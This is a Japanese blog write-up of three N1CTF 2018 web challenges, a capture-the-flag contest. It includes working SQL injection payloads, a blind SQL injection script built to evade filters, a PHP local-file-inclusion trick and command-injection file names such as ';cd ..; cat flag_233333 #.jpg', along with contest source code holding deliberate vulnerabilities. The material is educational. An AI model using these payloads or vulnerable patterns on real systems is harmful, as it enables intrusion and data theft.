st98 の日記帳


[ctf] N1CTF 2018 の write-up

チーム Harekaze で N1CTF 2018 に参加しました。最終的にチームで 1158 点を獲得し、順位は得点 517 チーム中 45 位でした。うち、私は 3 問を解いて 728 点を入れました。

以下、解いた問題の write-up です。

[Web 104] 77777

“77777” is my girlfriend’s nickname,have fun xdd:)
hk node: http://47.75.14.48
cn node: http://47.97.168.223
(Two challenge servers are identical, use either of them.)

与えられた URL にアクセスすると、以下のようにソースコードの一部と環境の情報が得られました。

<?php
function update_point($p,$points){
    global $link;
    $q = sprintf("UPDATE users SET points=%d%s",
        $p,waf($points));
    return TRUE;
}
if (!update_point($_POST['flag'],$_POST['hi']))
    echo 'sorry';
$ apt-get install php7.0
$ PHP Version 7.0.22-0ubuntu0.16.04.1
$ apt-get install mysql-server
$ apt-get install mysql-client
$ apt-get install php7.0-mysql
$ apt-get install libapache2-mod-php

update_point で SQLi ができそうですが、waf という関数が気になります。いろいろ試していると、これによって in のような文字列が含まれた場合に弾かれることが分かりました。

points 以外のカラム名を調べようにも、in が禁止されているので information_schema.columns を参照することができません。が、Advent Calendar CTF 2014 の otp のように union を使うことで、カラム名を知らずとも users のレコードを読み出すことができそうです。

convsubstr で 4 文字ずつパスワードを抜き出すと、フラグが得られました。

$ curl -g "http://47.75.14.48/" -d "flag=hogefuga&hi=-(conv(hex((select substr(group_concat(c), 1, 4) from (select 1 a, 2 b, 3 c, 4 d union select * from users) x)), 16, 10))" 2>/dev/null | grep -1 Points

                                          <h4><i class="icon-trophy"></i> My Points</h4>
                                        <p class="sm">
                                                <grey>My Points</grey> | -858548325<br/>
                                                <grey>Designer of the Year</grey> | 2018.<br/>
$ curl -g "http://47.75.14.48/" -d "flag=hogefuga&hi=-(conv(hex((select substr(group_concat(c), 5, 4) from (select 1 a, 2 b, 3 c, 4 d union select * from users) x)), 16, 10))" 2>/dev/null | grep -1 Points

                                          <h4><i class="icon-trophy"></i> My Points</h4>
                                        <p class="sm">
                                                <grey>My Points</grey> | -1819045731<br/>
                                                <grey>Designer of the Year</grey> | 2018.<br/>
$ curl -g "http://47.75.14.48/" -d "flag=hogefuga&hi=-(conv(hex((select substr(group_concat(c), 9, 4) from (select 1 a, 2 b, 3 c, 4 d union select * from users) x)), 16, 10))" 2>/dev/null | grep -1 Points

                                          <h4><i class="icon-trophy"></i> My Points</h4>
                                        <p class="sm">
                                                <grey>My Points</grey> | -1952867698<br/>
                                                <grey>Designer of the Year</grey> | 2018.<br/>
$ curl -g "http://47.75.14.48/" -d "flag=hogefuga&hi=-(conv(hex((select substr(group_concat(c), 13, 4) from (select 1 a, 2 b, 3 c, 4 d union select * from users) x)), 16, 10))" 2>/dev/null | grep -1 Points

                                          <h4><i class="icon-trophy"></i> My Points</h4>
                                        <p class="sm">
                                                <grey>My Points</grey> | -842216243<br/>
                                                <grey>Designer of the Year</grey> | 2018.<br/>
$ curl -g "http://47.75.14.48/" -d "flag=hogefuga&hi=-(conv(hex((select substr(group_concat(c), 17, 4) from (select 1 a, 2 b, 3 c, 4 d union select * from users) x)), 16, 10))" 2>/dev/null | grep -1 Points

                                          <h4><i class="icon-trophy"></i> My Points</h4>
                                        <p class="sm">
                                                <grey>My Points</grey> | -51<br/>
                                                <grey>Designer of the Year</grey> | 2018.<br/>
N1CTF{helloctfer23333}

[Web 208] 77777 2

Contestants won’t influence each other while solving the challenge.
http://47.52.137.90:20000

77777 とほとんど同じようですが、どうやらフィルターが厳しくなったようです。調べると、以下のような文字列が使えないことが分かりました。

in union concat or where count 2 3 4 5 9 0x limit as j <

in が禁止されているので joinhaving も使うことができません。また、今回は union が禁止されてしまったので先ほどの解法は使えません。

この状態でも、行サブクエリを使って複数のカラムを比較することで (こちらの説明にあるように左のカラムから順番に比較されることを利用して) Blind SQLi の要領でレコードを読み出すことができそうです。

具体的な方法を考えていきます。users には 4 つのカラムが存在しているので、--((1, 0x56, 0, 0) > (select * from users)) のようにして users のレコードと比較することができます。この結果は false だったので、2 番目のカラムの 1 文字目の文字コードは V 以下であると分かります。0x560x57 に変えると結果が true になったので、2 番目のカラムの 1 文字目は V であると分かります。

まず、以下のコードでユーザ名が VENENO_ADMIN であると分かりました。

import requests

def check(s):
  assert 'hacker' not in s
  return '469' in s

def encode_int(x):
  res = []
  for i, c in enumerate(str(x)[::-1]):
    if c != '0':
      res.append('%d*(%s)' % (10 ** i, '+1' * int(c)))
  return '(' + ')+('.join(res) + ')'

def encode(s):
  res = []
  for c in s:
    c = ord(c)
    if any(d in '23459' for d in str(c)):
      res.append(encode_int(c))
    else:
      res.append(str(c))
  return 'char(' + ','.join(res) + ')'

def get_query(res, c, x=None):
  return "--if((select (1, %s, 0, 0) > (select * from (select * from users) x)),8*8*7+8+7+6,8*8*7+6+6+7)" % (encode((res + chr(c)).ljust(100, '~')))

url = 'http://47.52.137.90:20000/'
res = ''

while True:
  high = 0x7e
  low = -1

  while abs(high - low) > 1:
    mid = (high + low) // 2

    c = requests.post(url, data={
      'flag': 'hogefuga',
      'hi': get_query(res, mid)
    })

    if check(c.content):
      high = mid
    else:
      low = mid

  res += chr(high)
  print repr(res)

return "--if((select (1, %s, 0, 0) > (select * from (select * from users) x)),8*8*7+8+7+6,8*8*7+6+6+7)" % (encode((res + chr(c)).ljust(100, '~')))return "--if((select (1, %s, (%s), 1000000000000) > (select * from (select * from users) x)),8*8*7+8+7+6,8*8*7+6+6+7)" % (encode('VENENO_ADMIN'), encode((res + chr(c)).ljust(100, '~'))) に置き換えるとフラグが得られました。

$ python2 solve.py
'H'
'HA'
'HAH'
'HAHA'
'HAHAH'
'HAHAH7'
'HAHAH77'
'HAHAH777'
'HAHAH777A'
'HAHAH777A7'
'HAHAH777A7A'
'HAHAH777A7AH'
'HAHAH777A7AHA'
'HAHAH777A7AHA7'
'HAHAH777A7AHA77'
'HAHAH777A7AHA777'
'HAHAH777A7AHA7777'
'HAHAH777A7AHA77777'
'HAHAH777A7AHA77777A'
'HAHAH777A7AHA77777AA'
'HAHAH777A7AHA77777AAA'
'HAHAH777A7AHA77777AAAA'
N1CTF{hahah777a7aha77777aaaa}

[Web 416] funning eating cms

a strange online reservation system for restaurants,please hacking it
http://47.52.152.93:20000/
http://47.52.152.93:23333/

いろいろ試していると、user.php/user.php?page=php://filter/convert.base64-encode/resource=guest のように LFI ができることが分かりました。これを使ってサービスのソースコードを手に入れます。

index.php

<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
    Header("Location: user.php?page=info");
}
else{
    include "templates/index.html";
}
?>

user.php

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $user = Filter($user);
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>

filter_directory では以下のようにして URL のパラメータに特定の文字列が含まれていないか確認しています。

function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

parse_url が失敗すれば返り値は false になるため、その後のチェックをすり抜けることができます。///user.php?page=ffffllllaaaaggg のようにすると parse_url を失敗させ、ffffllllaaaaggg.phpinclude させることができました。

you can find sth in m4aaannngggeee

/user.php?page=m4aaannngggeee にアクセスすると、ファイルがアップロードできるページが表示されました。LFI を使ってアップロード先の upllloadddd.php のソースコードを取得してみます。

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0"); でファイル名をそのまま OS コマンドに挿入して実行しています。

;ls -l .. #.jpg というファイルをアップロードすると、以下のような結果になりました。

total 80
drwxr-xr-x  10 root root 4096 Mar 10 21:13 app
drwxr-xr-x   2 root root 4096 Mar 10 13:07 bin
drwxr-xr-x   2 root root 4096 Apr 10  2014 boot
drwxr-xr-x   3 root root 4096 Oct 15  2015 data
drwxr-xr-x   5 root root  340 Mar 10 13:17 dev
drwxr-xr-x 122 root root 4096 Mar 10 13:17 etc
-r--r--r--   1 root root   40 Mar 10 13:08 flag_233333
drwxr-xr-x   3 root root 4096 Mar 10 13:17 home
drwxr-xr-x  14 root root 4096 Jul  8  2015 lib
drwxr-xr-x   2 root root 4096 Jun 12  2015 lib64
drwxr-xr-x   2 root root 4096 Jun 12  2015 media
drwxr-xr-x   2 root root 4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root 4096 Jun 12  2015 opt
dr-xr-xr-x 238 root root    0 Mar 10 13:17 proc
drwx------   2 root root 4096 Mar 11 01:04 root
drwxr-xr-x  20 root root 4096 Mar 10 13:17 run
-rwxr-xr-x   1 root root  781 Mar 10 13:04 run.sh
drwxr-xr-x   2 root root 4096 Jun 12  2015 sbin
drwxr-xr-x   2 root root 4096 Jun 12  2015 srv
dr-xr-xr-x  13 root root    0 Mar 10 03:39 sys
drwxrwxrwt   4 root root 4096 Mar 11 06:36 tmp
drwxr-xr-x  31 root root 4096 Mar 10 13:07 usr
drwxr-xr-x  44 root root 4096 Mar 11 06:25 var

;cd ..; cat flag_233333 #.jpg をアップロードするとフラグが得られました。

file upload success<br />;cd ..; cat flag_233333 #.jpgN1CTF{1d0ab6949bed0ecf014b087e7282c0da}
<img src='data:image/png;base64,N1CTF{1d0ab6949bed0ecf014b087e7282c0da}'></img>
N1CTF{1d0ab6949bed0ecf014b087e7282c0da}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳